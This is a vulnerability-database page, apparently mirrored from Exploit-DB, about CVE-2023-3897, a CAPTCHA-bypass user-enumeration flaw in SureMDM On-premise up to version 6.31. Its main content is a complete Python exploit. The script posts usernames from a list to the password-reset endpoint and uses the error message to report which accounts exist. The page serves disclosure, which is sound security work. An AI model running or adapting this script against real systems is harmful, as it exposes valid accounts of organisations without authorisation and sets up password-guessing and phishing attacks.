Lucene search
K

SureMDM On-premise < 6.31 - CAPTCHA Bypass User Enumeration

🗓️ 19 Feb 2024 00:00:00Reported by Jonas Benjamin FriedliType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 318 Views

SureMDM On-premise < 6.31 - CAPTCHA Bypass User Enumeratio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
SureMDM On-premise < 6.31 - CAPTCHA Bypass User Enumeration Exploit
19 Feb 202400:00
zdt
GithubExploit
Exploit for Observable Discrepancy in 42Gears Suremdm
13 Aug 202409:20
githubexploit
Circl
CVE-2023-3897
25 Jul 202312:28
circl
CNNVD
42Gears SureMDM 安全漏洞
25 Jul 202300:00
cnnvd
CVE
CVE-2023-3897
25 Jul 202308:59
cve
Cvelist
CVE-2023-3897 Bypassing CAPTCHA & Enumerating Usernames via Password Reset Page
25 Jul 202308:59
cvelist
EUVD
EUVD-2023-44523
3 Oct 202520:07
euvd
NVD
CVE-2023-3897
25 Jul 202309:15
nvd
OSV
CVE-2023-3897
25 Jul 202309:15
osv
Packet Storm
SureMDM On-Premise CAPTCHA Bypass / User Enumeration
19 Feb 202400:00
packetstorm
Rows per page
# Exploit Title: SureMDM On-premise < 6.31 - CAPTCHA Bypass User Enumeration
# Date: 05/12/2023
# Exploit Author: Jonas Benjamin Friedli
# Vendor Homepage: https://www.42gears.com/products/mobile-device-management/
# Version: <= 6.31
# Tested on: 6.31
# CVE : CVE-2023-3897

import requests
import sys

def print_help():
    print("Usage: python script.py [URL] [UserListFile]")
    sys.exit(1)


def main():
    if len(sys.argv) != 3 or sys.argv[1] == '-h':
        print_help()

    url, user_list_file = sys.argv[1], sys.argv[2]

    try:
        with open(user_list_file, 'r') as file:
            users = file.read().splitlines()
    except FileNotFoundError:
        print(f"User list file '{user_list_file}' not found.")
        sys.exit(1)

    valid_users = []
    bypass_dir = "/ForgotPassword.aspx/ForgetPasswordRequest"
    enumerate_txt = "This User ID/Email ID is not registered."
    for index, user in enumerate(users):
        progress = (index + 1) / len(users) * 100
        print(f"Processing {index + 1}/{len(users)} users ({progress:.2f}%)", end="\r")

        data = {"UserId": user}
        response = requests.post(
            f"{url}{bypass_dir}",
            json=data,
            headers={"Content-Type": "application/json; charset=utf-8"}
        )

        if response.status_code == 200:
            response_data = response.json()
            if enumerate_txt not in response_data.get('d', {}).get('message', ''):
                valid_users.append(user)

    print("\nFinished processing users.")
    print(f"Valid Users Found: {len(valid_users)}")
    for user in valid_users:
        print(user)

if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation